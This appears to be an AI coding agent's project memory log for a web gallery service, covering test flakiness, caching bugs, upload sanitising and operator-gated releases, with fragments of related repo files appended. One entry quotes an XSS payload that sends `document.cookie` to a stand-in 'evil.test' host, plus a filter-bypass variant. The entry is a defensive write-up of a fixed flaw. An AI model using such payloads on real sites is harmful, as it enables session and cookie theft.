`Sec-Fetch-Dest`. Both were offered.
## The fix
- `rest.sort(key=(-landed_at, name))`, labelled "last updated first".
- `list_booths` keeps its order for its other readers, and `_newest_mtime`
still feeds lifetime.
- The r2_flow contract (§3, the ordering table, INV-5) and the ROADMAP ordering
row were amended.
- CLAUDE.md "Working in here" now says how to check live without recording a
look.

# The browser suite is flaky under load — UNRESOLVED, and owned by design-dev
_2026-09-23 · booth_
⚠ **OPEN. Not fixed. Do not read a green suite as proof of anything without
re-running it.**
## What is observed, with its limits
**Three different browser tests** have each failed once under full-suite load
while passing repeatedly in isolation:
| test | owner | isolation | full suite |
|---|---|---|---|
| `test_the_keyboard_flag_actually_submits` | booth-dev | 5/5 pass | 1 failure |
| `test_a_failed_save_says_so_reloads_and_never_re_posts` | design-dev | 3/3 pass | 1 failure |
| `test_the_review_keys_judge_in_place_and_stay_out_of_the_note` | design-dev | 10/10 + 5/5 pass | 1 in ~9 |
Three different tests points at **the environment under contention**, not at any
one test. That is a direction, not a finding.
## Two real defects found chasing it — NEITHER PROVEN TO BE THE CAUSE
1. **A keypress race.** The flag test fired `ArrowRight` and `f` back to back,
assuming the first had finished — but `focus()` does a `scrollIntoView`, so
under load `f` could arrive with no cursor set. Now waits for
`figure.item.is-cursor`.
2. **A port TOCTOU in BOTH browser fixtures.** Each did `bind → getsockname →
CLOSE → hand uvicorn the port NUMBER`, leaving a window for the kernel to
give that port away — and this suite runs two browser files that each start a
server per test, so the competitor is the other file. The bound socket is now
passed to `server.run(sockets=[sock])`.
**Since those fixes: one failure in three full runs. n=3 CANNOT distinguish
that from the prior rate, and no claim of improvement is made.**
## Who owns it and what the method is
**The operator ruled: "let him diagnose it properly."** design-dev owns it. His
method: a trace hook keeping a Playwright trace (screenshots + DOM snapshots)
for every browser test that fails, captured **from the run that fails**, then
full-suite runs until red and the artefact decides. Test-only infra, on his
branch as its own commit.
⚠ **The methodological trap, and why the artefact must come from the full
suite:** the failure only reproduces there. A narrowed repro that passes proves
nothing and will be mistaken for a fix.
## Addendum 2026-09-24 — the offline fix, and what 0/24 can and cannot say
design-dev's suspect was Google Fonts stalling "networkidle". A stalled font
request reproduces the exact error (which shows sufficiency only). The fix
landed in `b92b002`: the test browser has no internet, with a positive control
per fixture. Traced runs: 0/15 (light) and 0/8 (heavy). No trace ever caught
the stalled request. Untraced after the fix: **0 reds in 24**, against a pre-fix
rate of 1 in 8 that is itself one red in eight runs (95% CI roughly 0.3–53%).
At a true rate of 1 in 20, 0/24 happens 29% of the time. So it's consistent
with the fix and not a confirmation of the cause.

# The bug-hunt panel found six defects and five vacuous falsifiers
_2026-09-23 · booth_
Cross-frontier panel (Gróa/Hulda/Regin/Kimi) on U7's diff, althing thread
`01M368G2Y0JMTJ2T7M3JMTXV5Z`. Landed at `397ea89`. **Four of the six fixes are
for defects no test in this repo could have caught**, and the guard-strength
sections did something the findings alone would not have.
## ⚠ The mechanic worth keeping: browsers match a fragment RAW FIRST
The group anchor and the tile id were BOTH the raw rel. That reads as "merely
unencoded" and it is not — it is **ambiguous**, because the HTML spec's
scroll-to-fragment tries an exact match on the raw fragment and only THEN on the
percent-decoded one. So with `a b.png` and `a%20b.png` in one booth, the first's
href resolves to the fragment `item-a%20b.png` and **the raw pass matches the
SECOND file's id.** The jump lands on the wrong artifact — invariant 6's
misfiled-judgment failure, arriving through a path invariant 6 never looked at.
**The fix has to move BOTH sides.** Encoding the anchor alone just relocates the
collision. Both now use `Item.url` (`quote(rel, safe="/")`), which is injective
here (`a b` → `a%20b`, `a%20b` → `a%2520b`) and is the convention `booth_flag`
has always used. The panel's agreed fix (`quote(name, safe='/')` on the anchor)
was half of it; the correction went back to them.
## The blast radius nobody had measured
**One non-UTF-8 filename 500s the INDEX for every booth**, not just its own
page. A 0xff byte reaches CPython as a surrogate, `quote` raises on it outside
any per-item handler, and `booth_items` feeds `list_booths` as well as the
gallery. Same shape as
[[2026-09-22-lenient-reader-blast-radius]]: the per-item read looks local and
is not. Such a file cannot be linked, served or zipped, so it is now skipped
like a dotfile.
## ⚠ FIVE VACUOUS FALSIFIERS IN ONE UNIT
The count that matters. Three arms **independently** found that
`test_every_group_anchor_lands_on_a_rendered_tile` survived `v[0]` → `v[-1]`:
it asserted the href occurred as SOME id on the page, which stays true while
pointing at the wrong one. Hulda's guard table added two more (the
informativeness guard survived `sizes[-1]`; the group count survived
`len(v) + 1`). Two more were mine, found after:
- the zero-hit filter test used the shared `gallery` fixture, which **has** a
flagged item — so it passed without ever reaching the empty-filter state it
names;
- the escaping test asserted over the whole page and went red on a **code
comment** containing the string it forbade.
**A guard-strength pass is the highest-value part of a panel on a well-tested
diff.** Regin's "unusually well-tested already" and Kimi's "the commentary was
accurate everywhere except where it didn't mention encoding at all" are both
true and point at the same thing: the findings were in the gaps the commentary
was confident about.
## Accepted known risks, documented rather than implied
- **No cap on rail row count.** 1,000 groups of two renders 1,000 rows and
passes the median guard. Largest live booth is 66 items; picking a cap without
a booth that needs one is the invented work the roadmap gate prevents.
- **`Item.group` sits mid-dataclass.** Two arms flagged the positional-construction
break and both correctly tagged it robustness with the caller outside the
bundle. **There is no such caller** — `Item(` appears at exactly one site,
keyword-only. Category-5 triage: not adopted, grep recorded.
## Held for design-dev, not fixed
`.rail` is sticky with no `scroll-margin`, so a fragment jump parks the target —
and the `:target` outline meant to show where it landed — UNDER the rail. Real,
one line, and in the stylesheet he is rewriting from scratch. Routed to him.
## Seat miss, reported back
Two arms flagged that Heid's canon G1 says Flask while the service is FastAPI —
carried from an earlier booth-round template. Hulda handled it by reading the
bundle rather than the canon.

# The cache that aged the thing it cached
_2026-09-23 · booth_
**Thumbnails: 77.5 MB → 0.78 MB on the biggest gallery, ~100 MB → 1.12 MB on
the Desk.** The operator found the defect in about a minute of using the live
redesign. Two lessons, and the second nearly shipped.
## ⚠ LESSON 1 — we parked it on a count and the cost was in the bytes
ROADMAP parked progressive loading on *"the largest gallery is 66 images; at
that size a lazy grid is almost certainly fine"*, and the parking-lot row said
*"270 `<img loading=lazy>` may be fine."* **Both count IMAGES. Neither weighs
BYTES.** 66 is a fine count sitting on 77.5 MB of 1024×1024 PNGs rendered at
250px — roughly 16× the pixels that reach the screen.
The rule "measure the real booth before optimising it" was followed and still
produced the wrong answer, because **we measured the dimension that was easy to
measure rather than the one that determines the experience.** Before parking
anything on a measurement again, ask what the user would actually feel.
## ⚠ LESSON 2 — a cache INSIDE the thing it describes can age it, and excluding the cache is not enough
`.thumbs/` lives inside the booth on purpose, so it is swept with the booth and
can never outlive what it describes. But `_newest_mtime` — which feeds
`is_expired`, which feeds `rmtree` — walks the booth, so **the server writing a
cache on a mere view counted as the operator touching the booth.**
**The first fix passed its own test and was still wrong.** Excluding every path
under `THUMB_DIR` does not help, because **creating the directory touches the
BOOTH DIRECTORY's own mtime**, and `_newest_mtime` SEEDS from exactly that. The
cache's contents were excluded; its *existence* was the leak.
The fix restores the booth's stamp across the `mkdir`. That cannot hide real
activity: any file an agent adds is counted by its own mtime in the same walk,
so the directory stamp is only a seed.
**The blast radius if it had reached the Desk.** The Desk pulls a preview
thumbnail per booth, so ONE INDEX LOAD would have pushed EVERY booth's expiry
out — the TTL would never fire again and nothing would ever sweep. Caught by
design-dev from the outside, hours before the strip landed; verified after the
fix on the live set: **29 booths, two Desk loads, 22 caches generated, 0 clocks
moved.**
`.viewed` counting as activity is different and deliberate — that is a record of
a *person* looking, which U4 says is activity. **A server-written derived cache
is machinery, like the `.lock` sidecars already excluded.** Any future cache
inherits this: exclude it from the clock AND preserve the parent's stamp.
## A third, smaller one: the dot-namespace was only skin deep
`booth_items` and `zip_booth` both tested `p.name.startswith(".")` — the FILE's
name — so `.thumbs/a.png` (name `a.png`) would have rendered as a gallery item
and shipped inside every zip download. CLAUDE.md invariant 2 promises a dotfile
costs nothing in item counts, galleries or zips; **that was true only at the top
level.** Both now skip every dot-prefixed path COMPONENT.

# The flow rulings, and what they cost the beta
_2026-09-23 · booth_
**All four ruled, all four taking design-dev's recommendation, no notes
attached.** Relayed via Miranda (D-0016) with the instruction that **the
operator will not brief design-dev directly and booth-dev is the SOLE RELAY.**
| question | choice | label |
|---|---|---|
| `direction` | `a_b` | A + B's reel as the review mode |
| `compare` | `this_arc` | Build it in this arc, after A/B land |
| `voice` | `plain` | Plain and direct |
| `emblem` | `no` | No |
Answered `2026-09-23T08:07:40-07:00`, `complete: true`, `unanswered: []`.
**Verbatim copy committed at `docs/rulings/2026-09-23-flow-direction.json`** —
see the durability note below for why that is not belt-and-braces.
## ⚠ ANSWERING A PICK REMOVES THE HOLD THAT WAS PROTECTING THE RECORD
U4's hold predicate is "has an open pick" — a booth waiting on the operator does
not sweep. **The moment he answers, it stops being held**, so a booth's
lifetime is shortest exactly when it has just become valuable: before the answer
it is a question, after the answer it is the RECORD OF A DECISION, and only the
first state is protected.
`booth-flow-concepts` held the ratified design AND the operator's recorded
answer, with `.forever=NO` and zero open picks — sweep-eligible within minutes
of the ruling. Same shape as round 1, arriving by a different route:
`booth-svos-retheme` lost its hold when design-dev WITHDREW his ask; this one
lost it when the operator ANSWERED. Two different actions, one exposure.
The durable copy now lives in git rather than in a booth. **This is not a bug
report against U4** — an answered question genuinely is not waiting on anyone —
but it is a real question about whether "held" is the right predicate for a
booth that has become a record. Flow and requirements are design-dev's now, so
it is his to weigh; raised to him rather than patched by us.
## What the rulings cost the version
**`v1.0.0b1` promised "feature-complete, no new features, the remaining work is
bugs."** A flow redesign plus compare mode is not that. Three things follow:
1. **The tag stays exactly as written.** It records what was believed on
2026-09-22, not a claim about today. Rewriting a released tag to flatter the
present is how a version stops being evidence.
2. **Dropping back to an alpha is NOT available.** `1.0.0a2` sorts BELOW
`1.0.0b1` and versions do not go backwards. The policy's "if you are adding
features to a release candidate, it was never a release candidate" advice has
no legal expression here.
3. **No further pre-release until the arc lands.** Commits accumulate; the next
tag is whatever is honest when there is something to release.
**Whether `1.0.0` waits for the redesign is the operator's and is NOT YET
MADE.** Our recommendation is that it does: he treats this as one arc (the
standing no-announcements ruling says "until the entire arc is done"), and
cutting the 1.0 milestone on a UI he rejected as "still looks like the booth"
would make the milestone mean something he does not endorse.
## Compare mode left the parking lot, and the deferral was OURS
Parked since the v1 gate as "the only new capability rather than a fix for a
measured defect." design-dev argued it belongs in this arc; the operator agreed.
ROADMAP records **that it was his call that moved it**, so nobody re-parks it by
reading the older rule. Practically: the item-record work compare needs is in
scope for us, not deferred, and he tells us what a compare view wants from
`booth_items` rather than working around the current shape.

# The probe that nearly dismissed a live injection vector
_2026-09-23 · booth_
**The standing link board rendered agent-written hrefs with no scheme guard.**
Seventeen handles append to `links.md` and the operator clicks its rows, so
`javascript:document.location='http://evil.test/'+document.cookie` was a
clickable link executing in the Booth's own origin. `//evil.test/x` and
`data:text/html,…` rendered too.
Found by **design-dev**, in passing, in code his unit does not touch. Fixed the
same hour: `links.py` derives `is_safe_href` once per row, the template links
only when it is true, and a refused row still renders inert and labelled —
the operator should see that something was posted and that we would not link it.
## ⚠ THE NEAR-MISS IS THE PART WORTH KEEPING
**We probed with `javascript:alert(1)`, watched it get refused, and almost
closed the finding as already-guarded.**
It is refused — **by the markdown link regex.** `alert(1)`'s parentheses break
`](...)`, so the row never parses. That is an accident of syntax, not a guard,
and it refuses exactly the payload everybody reaches for first.
`javascript:x=1` walks straight through.
**Generalise it: a negative result from the most obvious probe is the least
trustworthy kind.** The canonical payload is canonical because it is memorable,
not because it is representative — and a filter that happens to catch the
memorable one looks exactly like a filter that works. The `is_safe_href`
docstring now tells the next person not to re-probe it with anything containing
brackets.
## The second trap: a guard that answers a different question
`booth_target` HAS an `http(s)` scheme check (`links.py:236`) and it is NOT this
guard. It answers *which booth does this URL name*, so it refuses every
legitimate off-board link and can never serve as a render-safety test. Reading
the codebase for "is there a scheme check" finds it and stops.
**Two things that look like the guard were in the way of finding there wasn't
one.** That is what made this survive as long as it did.
## Shape of the fix, for the next one
Derived ONCE in `links.py` and carried on the row, not decided in the template —
the same one-resolver discipline U1 states for item facts. A template that
decides safety is a second place for the rule to be wrong.
`.blurred`'s round-trip weakness (one stripped rel per line, so `" a.png"` can
blur `a.png`) was found in the same pass and is **NOT fixed** — it needs a
format migration and that does not belong in the same hour as a merge. Recorded
in CLAUDE.md beside `.seen`, which was written as JSON for exactly that reason.

# Thumbnails sized for the tile's width at 2x, not 512 on the long side
_2026-09-23. Operator on sindra-nude-final: "the images look blurry until
they're selected and blown up." Commits `c2b1454`, `c19d8c9`, merged
`1d31ab0`._
## The measurement
- The cap was 512px on the LONGEST side. Tiles are sized by WIDTH (`width:100%;
height:auto`).
- Chromium put desktop tiles at 321-361 CSS px (3 columns, 1440px viewports
and up), 324-472 at 2 columns, and up to 650 at 1 column (measured across a
360-2560 viewport sweep).
- A 704x1408 portrait got a 256-wide thumbnail: stretched 1.4x at 1x density
and 2.8x on a 2x screen.
- The live sizes are mostly 704x1408, 896x1216, 832x1216 and 1024x1024
portraits (368 images sampled).
## The rule
- `THUMB_WIDTH = 768` (2x the widest desktop tile) and `THUMB_HEIGHT_MAX =
4096`.
- An original that fits is served as-is only when it's also light (<=64 KB;
768-wide thumbnails average 39 KB) or animated.
- `tests/test_thumbs_browser.py` binds 768 to the rendered grid at 1440, 1920
and 2560.
- Cost across all 381 live images: 4.8 → 14.2 MB at 768; 1024 would have been
18.5 MB. Live rebuild: 14.5 MB, 369 webp and 12 originals, 9 s.
- **The operator kept 768 (2026-09-24).**
## heid bug-hunt (4/4, five seat-executed probes) → `c19d8c9`
- A cache hit must be a REGULAR file with its source's EXACT mtime. A planted
directory was served as the thumbnail, and `cp -p` pinned stale ones
forever.
- The cache dirs are made component by component without following links. A
`.thumbs` link put the cache outside the booth.
- The temp file is mkstemp. `<out>.<pid>.tmp` was plantable as a link: 600 B
became 316,400 B.
- Palette transparency survives. This one was INTRODUCED by `c2b1454`'s
fits-but-heavy branch.
- EXIF orientation is honoured.
- A 64 MP decode budget.
- The whole rule is in the cache name: `.768x4096q78v2.webp`.

# The r3 seam pass: what only it could see
_2026-09-24. Contract `docs/contracts/r3_compare.contract.md` (design-dev);
althing thread `01M3952NCDRRJX5XDFSPMSP5HJ`._
design-dev's heid contract panel read r3 cold. Our seam pass read it against
the real `app.py`, `items.py`, `base.html` and `view.html`, plus small probes
on a scratch booth. It found 12 mismatches, all folded before a line of code.
The build then went through heid code-review and bug-hunt, and our own gate,
with nothing structural left. design-dev: "S4 and S8 would each have cost a
round."
## The ones worth remembering, because they recur
- **`data-region` ids must be unique on a page.** The in-place client's
`swap()` in `base.html` keeps only the FIRST fresh node for each id, then
replaces EVERY live node that has that id with a copy of it. Two per-side
regions sharing an id would make B's flag button a copy of A's after any
save, so pressing B flags A, with nothing to show it happened. Also: do not
key a region by rel (a pair with `a == b` duplicates it) and do not prefix
it `item-` (swap reads a missing `item-*` as a stale tile, not a reload).
This is a mechanical rule that belongs in CLAUDE.md; it is not there yet.
- **Moving code breaks mutation anchors.** 21 of r2c's 24 `view.html` rows
were anchored inside the inline script that r3 moved to `_stage_js.html`,
and `mutation_check.py` fails a row whose anchor is gone. A contract that
moves code must list the re-pointed rows in its "Assertions that change"
table, and gate on the table still falsifying, not only on the suite staying
green.
- **"404 the way view does" was two rules, and neither was view's.** A
missing `f` is a 422 from FastAPI (required `str`), not a 404; declare
`= ""` and 404 by hand. `booth_items` follows symlinks, so a link pointing
outside the booth is IN `review_chain`, while view 404s it through
resolve plus containment. Compare needed the conjunction.
- **Route order.** `/b/{name}/{filepath:path}` is a catch-all; a new
`/b/{name}/<word>` route must register before it. A booth file literally named
`<word>` becomes unreachable (accepted, as for view/marks/asks/embed.json).
- **A resolve done twice is a race.** After the merge, the review route checked
`f` and then resolved the whole ring again, so `cring.index(f)` could raise
(a 500) when a file vanished in between. design-dev's `d54bb04` judges each
rel once per request.

# Upload names: two crashes found, then two holes in the fix
_2026-09-24. Commits `92c774e`, `225ba32`; heid bug-hunt thread `01M3AXG27KQDMA6P3RTAAYMEHP`._
## What was wrong
design-dev's r3 bug hunt (hulda) found that `/upload` returned a 500 for a
multipart filename carrying a NUL: `safe_upload_name` stripped path, dots and
length but not NUL, and `(dest / name).open("wb")` raised ValueError. The
upload's `except Exception` tore the booth down and re-raised.
Fixing it turned up a second 500 on the same line: the cap was
`base[:200]`, 200 CHARACTERS. NAME_MAX is 255 BYTES, so 200 two-byte
characters (`é`, or any CJK name) raised ENAMETOOLONG.
## The first fix, and the two holes a single arm found in it
`92c774e` stripped NUL first, then applied the dot rule, then capped at 200
UTF-8 bytes via `encode("utf-8", "surrogatepass")[:200].decode("utf-8",
"ignore")`, taking the cut out of the stem so the extension survived.
Heid's own review of that diff found nothing. hulda, reading the whole snapshot
against the declared invariants, found:
1. **The surrogate was dropped LAST.** The final `decode("ignore")` removed a
lone surrogate after `lstrip(".")` had already run, so `"\ud800.forever"`
came out as `.forever`, which is the keep marker, and `"\ud800.."` as `..`.
The NUL had been moved first for exactly this reason; the same discipline
was not applied to the other droppable class. It was not reachable over HTTP:
Starlette decodes a multipart filename strictly (utf-8, else latin-1), so it
never yields a lone surrogate. The fix made the helper right by construction
anyway.
2. **A cut could manufacture a kind.** A suffix too long to keep (>16 bytes)
was cut like text, and the cut could land on a shorter suffix that means
something: `"a"*196 + ".png" + "x"*17` became `….png`, an image.
3. The 16-byte extension threshold was unguarded: every test suffix was 4
bytes, so `<= 4` survived. A `.jpeg` case now pins it.
`225ba32` does one pass first (NUL and everything unencodable), then basename
and the dot rule, then the byte cap. A cut whose `classify`/`doc_kind` differs
from the original's has its dots replaced with `_`. Falsifiers:
`tests/mutations/upload_names.toml`, 7/7.
## The lessons
- **A sanitiser drops everything droppable FIRST, then applies the structural
rules.** Anything dropped after a rule can defeat that rule.
- **A NUL test through httpx `files=` proves nothing.** httpx
percent-escapes the NUL, so the server sees a literal `%00`. Post a raw
multipart body. The first integration test passed pre-fix for this reason.
- **Truncating by length can change a file's meaning.** In the Booth the kind
comes from the extension, so a cut has to preserve the kind, not only the
byte count.
- **The single-arm hunt earned its cost.** Heid's own read traced only the
hunks; hulda read the declared invariants against the whole bundle.

## Current state / in-flight
_As of 2026-09-22:_
_As of 2026-09-25:_
- 🟢 **NOTHING IS IN FLIGHT** (shutdown snapshot, 2026-09-25). The tree is
clean, no branch or worktree is open, and no peer is waiting on booth-dev.
main is ONE memory commit ahead of origin (this snapshot), unpushed: the
push is the operator's call.
- ✅ **r3 COMPARE IS LIVE AND PUSHED** (operator: "merge r3 once the mutation
check is clean", then "merge and push", 2026-09-24). origin/main is the r3
arc's tip: r3 (`f8d136a`), design-dev's race fix (`d54bb04`: one compare ring
per request, the review's Compare control hidden when its item vanished
mid-request, and a NUL in a raw file path returning 404) and our upload-name fix
(`225ba32`). The gate on that exact tip: 928 passed, and 245/245 falsifiers
across all 8 tables. The service was restarted at 1804. Our seam pass on the
contract caught 12 mismatches before code; the two that mattered were
duplicate `data-region` ids (a save would have made B's flag button flag A)
and 22 mutation-table rows anchored in the script that moved.
→ `persistent-memory.d/2026-09-24-r3-seam-pass-what-only-it-could-see.md`
- ✅ **Pushed on 09-23 (`d5ead3f`, 888 green).** Landed that night, in
order: r2b merge 1 (`b92b002`, reveal all + booth fog), r2b merge 2
(`cce6a20`, Desk row + dates + theme toggle), the Desk sort (`64f6488`), the
blur round-trip (`6880ab3`), 768-wide thumbnails (`1d31ab0`), r2c the review
stage (`fde082e`), and strict blur writes (`8a78a9b`).
- ⚠ **A peer's relayed "merge it" or "push now" is NOT the operator's
approval.** The permission layer refused a merge on design-dev's word alone
(r2b), and design-dev's relay of "approve r2c, push now" was held until the
operator said it here. Miranda is the only named relay.
- ⚠ **DO NOT SWEEP `:8090` WITH GETS OF BOOTH PAGES.** Each GET records a look.
Two sessions did it on 2026-09-23, which emptied "new since you looked" and
collapsed the Desk. Check live with `/healthz`, `/` and `?thumb=1`; check
pages on an rsync'd COPY (CLAUDE.md "Working in here").
- ✅ **THE BLUR SET ROUND-TRIPS ANY REL** (operator: "fix the blur"). It lives
in `.blurred.json` through stdlib-only `booth/blur.py`: one writer and one
`check_rel` for the service and `booth blur`. The legacy `.blurred` is read
as lines, only while no `.blurred.json` exists, and the first write retires
it. Writes are strict (`_load`) and the reader is lenient. Mechanics live in
CLAUDE.md invariant 2. `booth blur <name>` with NO files fogs the whole booth
(`.blurbooth`), which composes with the per-item set and never overrides it. **Still ours, not done, not scheduled:** "off" means
ON for /blur and /blurbooth but OFF for /flag (forms only send 0/1), and the
CLI's `.blurbooth` `touch` still follows a symlink where the service no
longer does. Recorded in `4cfbce5`'s message; raise them with the operator
before starting.
- ✅ **THUMBNAILS: 768 wide, capped at 4096 tall, and the operator KEPT 768**
(2026-09-24; do not re-raise it). `tests/test_thumbs_browser.py` binds 768
to the rendered tile width, so a redesign that widens tiles turns it red.
The cache is planting-proof (heid 4/4 folded). 381 live thumbnails, 14.5 MB.
→ `persistent-memory.d/2026-09-23-the-cache-that-aged-the-thing-it-cached.md`
- ⚠ **THE BROWSER SUITE WAS FLAKY UNDER LOAD; THE CAUSE IS STILL UNCONFIRMED.**
The offline test browser (in `b92b002`) gives 0 reds in 24 against a pre-fix
rate of ~1 in 8, which is consistent with the fix and nothing more. **Do not
read a green suite as proof.**
→ `persistent-memory.d/2026-09-23-the-browser-suite-is-flaky-under-load.md`
- ⚠ **`sindra-nude-final` and `sindra-nude-pool` were fogged at 21:44 on
09-23**, minutes after the control went live. It wasn't booth-dev;
presumably the operator, as he said he would. **Do not blur, unblur or
reveal them on his behalf.** The Desk still shows up to 4 images per booth.
- 🛑 **NO `1.0.0` YET** (operator, 2026-09-23). The tag stays `1.0.0b1`, with
no further pre-release until the arc lands. r3 compare, the last unit we
held named in it, landed 2026-09-24; **whether that closes the arc is the
operator's call, never ours.** ⚠ It has looked complete twice already.
- 🛑 **STANDING: NO ANNOUNCEMENTS out of this repo until the whole arc is done,
and the operator sends that one himself.** Do not offer, draft-and-await, or
raise it.
- ⚠ **Read a staged ref, never a SHA written here.** design-dev rebases in
place: `git show-ref | grep design-dev`, then `git merge-tree`.
- **v1 is gated on seven units** in `ROADMAP.md`, dependency-ordered
**U1 → U2 → {U3, U4, U5} → U7**, with **U6 independent**.
- **U1, U2, U4 and U5 are landed.** U1 `ce598b3`; U2 `c7f9437` → `v0.2.0`,
`5e41108` → `v0.2.1`, `026a1fc` → `v0.2.2`; U5 `c015a91` + `95beede` →
`v0.3.0`. **U4 landed 2026-09-22** — 396 tests green (341 → 396), deployed and
verified live, 24/24 booth pages 200, layout probe clean.
- **U4 released as `v0.4.0`** (operator approved the minor on 2026-09-22).
`c3a97c1` is the unit; the release commit carries the pre-existing fixes the
bug-hunt panel surfaced in touched files. The tag waited for the last gate to
close, per the `v0.2.0` lesson — see Tried and abandoned.
- ⚠ **The 17 consuming handles have NOT been told** that `keep` no longer means
"waiting on an answer". That is the one coordination this release genuinely
warrants, and a fleetwide post needs operator approval before it is sent.
- **THE NEXT UNIT IS THE OPERATOR'S CALL.** U3 (declared embed seam) and U6
(benches) are both unblocked; U7 waits on the rest. U6 is independent of
everything and was conceptually unblocked by U5 giving job 5 a home; U3 is
where verbatim-booth provenance was deferred to, and U4 added a fourth reason
to want it — a verbatim booth has no Booth-rendered header, so its lifetime
line lives only on the index card and the marks page.
- **No gate is outstanding.** All three ran on U4 and were folded in: the
`/heid-contract-review` panel (`01M34VX0SH23Y3VC92E7GM4S70`), the
`/heid-code-review` panel (`01M34WAFJC3RTERFYBBZJN1SVG`) and the
`/heid-bug-hunt` (`01M34Y2R0RAJRSN36Q8K4KAB36`). All loops closed with heid.
The U5 round's three are also closed (`01M340PNVRS21HPASZT38PXQPN`,
`01M341E9XAPZEFBSPK9HPGAM0S`, `01M343SXX27Z47C3STXXRC7M42`).
- **Two dated predictions are pending and must not be forgotten.** U5's adoption
re-measure on **2026-09-29** (two counts, see its entry — already at 3 of 24
announced and 2 with a `why`, all from peers told nothing), and the `.forever`
re-count **on or after 2026-10-06**, a fortnight after U4 landed, which is
U4's success criterion. ⚠ Only 4 booths carry marks at all, so the hold's live
blast radius is small and the prediction rests on both halves of U4 — see its
entry for what a null result would and would not mean.
- **Three methodology proposals from this session sit with the operator**, routed
by heid rather than decided unilaterally: reshaping the paraphrase gate toward
a drift-check for narrative-heavy contracts, a standing
"green-tests-prove-nothing" direction for the code-review gate, and regin's
table-vs-signature consistency pass. They are changes to the `/heid*` skills,
not to this repo.
- The booth set churns hard: 26 → 24 during this session as the sweeper ran.
Re-count rather than trusting any number written here.
## Recent decisions
- `[2026-09-24]` ⏸ **The upload route's three lifecycle gaps: DEFERRED** — the pickup-id `mkdir` sits outside the try (a FileExistsError race), `rmtree(ignore_errors=True)` hides its own failure, and `except Exception` misses CancelledError. All three are rare; the operator was told and merged without them. Tracked in `225ba32`'s commit message.
- `[2026-09-24]` ✅ **Upload names: two crashes found, then two holes in the fix** — READ BEFORE WRITING A SANITISER: drop everything droppable FIRST, then apply the structural rules; a NUL test through httpx `files=` proves nothing → `persistent-memory.d/2026-09-24-upload-names-two-crashes-then-two-holes.md`
- `[2026-09-24]` ✅ **The r3 seam pass: what only it could see** — 12 contract-vs-code mismatches folded before code. READ BEFORE A CONTRACT THAT ADDS `data-region`S, MOVES TEMPLATE CODE, OR ADDS A `/b/{name}/<word>` ROUTE → `persistent-memory.d/2026-09-24-r3-seam-pass-what-only-it-could-see.md`
- `[2026-09-24]` ✅ **r3 compare merged and pushed on the operator's word, gated by our own run** — fast-forward only to SHAs we had gated ourselves (`f8d136a`, then `225ba32`), never to design-dev's reported numbers.
- `[2026-09-24]` ✅ **r3 compare ruled: pick two, flag the winner** — operator, in design-dev's session. No `booth_items` or marks work; the URL is rel-keyed. The A/same/B pairwise verdict is **PARKED (deferred)**, with our ordered-pair-of-rels note attached. Tracked in design-dev's r3 contract parked entry, althing thread `01M3952NCDRRJX5XDFSPMSP5HJ`.
- `[2026-09-23]` ✅ **The Desk's "Everything else" sorts by last UPDATE, not last activity** — the operator chose the simple fix over repairing `.viewed` from the access log. READ BEFORE CHECKING THE LIVE SERVICE → `persistent-memory.d/2026-09-23-desk-sorts-by-last-update.md`

"""Prove a falsifier falsifies, by running the change it forbids.
A green test is not evidence. A test that has never seen its own DEFEATING
CHANGE is only evidence that the code and the assertion agree today; it may
agree under the mutation too, in which case it forbids nothing and reads as
though it forbids something. This repo has shipped that three times --
persistent-memory.d/2026-09-22-vacuous-falsifiers.md,
persistent-memory.d/2026-09-22-seven-of-seven-falsifiers.md, and once more in
U7 an hour after the second was written.
So: for each declared mutation, apply it to the source, run the one test that
claims to catch it, and require RED. Revert either way.
.venv/bin/python scripts/mutation_check.py # every table
.venv/bin/python scripts/mutation_check.py u7_navigation # one table
Tables live in tests/mutations/*.toml and are committed, so a unit's proofs are
an artifact rather than terminal scrollback. Adding a unit means adding a file,
never editing this script.
⚠ TWO DEFECTS THIS TOOL HAD, both of which made it CERTIFY A FALSIFIER WITHOUT
RUNNING IT. Neither is obvious and both cost real time:
1. NO GREEN BASELINE. A test that is ALREADY red reports red for every mutation
thrown at it, so a broken assertion reads as a proven falsifier. Every run
now checks the test passes unmutated first; a red baseline is a harness
failure, reported as such, never as a proof.
2. THE BYTECODE CACHE. `< 2` -> `< 1` is BYTE-IDENTICAL IN SIZE, and CPython
validates a .pyc against the source's (mtime, size) at ONE-SECOND
granularity -- so a mutation landing in the same second as the revert before
it is invisible and the unmutated code runs. The tell was a verdict that
flipped between consecutive runs with nothing changed. Caches are dropped
and PYTHONDONTWRITEBYTECODE is set for every run. This biases toward exactly
the mutations most worth making: comparison flips, off-by-one constants,
and/or swaps.

context's trace is written at close time, to a scratch file, and only moved
to the kept set if the test then fails. A page from `browser.new_page` owns
its context, as Playwright's own does: closing the page closes it."""

# Per-item blur storage: `.blurred` round-trips any rel, whoever writes it.
# The fix for the wrong-item write the heid bug-hunt found through r2b merge 1
# (a stripped rel blurred its neighbour), operator-ruled 2026-09-23. Every row
# is a change tests/test_blur.py claims to forbid.
#
# NOT here, on purpose: the S_ISREG guard in read_blurred. With O_NONBLOCK a
# FIFO opens and reads as EOF, a symlink is already refused by O_NOFOLLOW, and a
# device node needs root to plant, so no test here can see that guard go. It
# stays as the `.seen` shape, and it is not claimed as a proven falsifier.

# R2 — the review flow: falsifiers the round claims, and the change each forbids.
#
# Every row was proved RED under its mutation in the session that wrote it,
# then committed here so the proof is an artifact rather than scrollback. The
# browser rows need the Playwright Chromium the browser tests already use.
#
# Deliberately ABSENT: single guards inside a defence in depth, each of which
# stays green when removed alone because another layer still holds — so a row
# for any one of them would be a vacuous proof, and this table's own first run
# said so. `.seen`'s O_NOFOLLOW, O_NONBLOCK and S_ISREG (the FIFO/symlink test
# covers them together); and `flagged_targets`' `error is None`, since
# hydration already strips the target from a damaged mark.
#
# RETIRED (r2c S3, 2026-09-23): the row on the next arrow's 360px rail offset —
# the arrows now sit at the drawn picture, clamped inside the stage; the test was
# replaced as declared in r2c's contract, and its successors are in r2c.toml.
#
# RETIRED (r2b D1, 2026-09-23): four rows proving the facts-line row controls
# (visible at rest, compact, on the facts line) — the operator ruled those
# controls hover-revealed over the preview strip, and their tests were replaced
# as declared in r2b's contract. Their successors are in r2b.toml.
#
# The serialization row is only a falsifier because its test HOLDS the first
# refresh in the client: localhost alone never lost the race, and the first

"""Per-item blur storage — `.blurred` round-trips any rel, whoever writes it.
`.blurred` was one stripped rel per line, so a rel with a leading space could
not survive a write: blurring " a.png" stored "a.png", and toggled the
neighbour instead (heid bug-hunt on r2b merge 1, reported to booth-dev). The set
now lives in `.blurred.json`, a JSON array (the `.seen` shape), read without
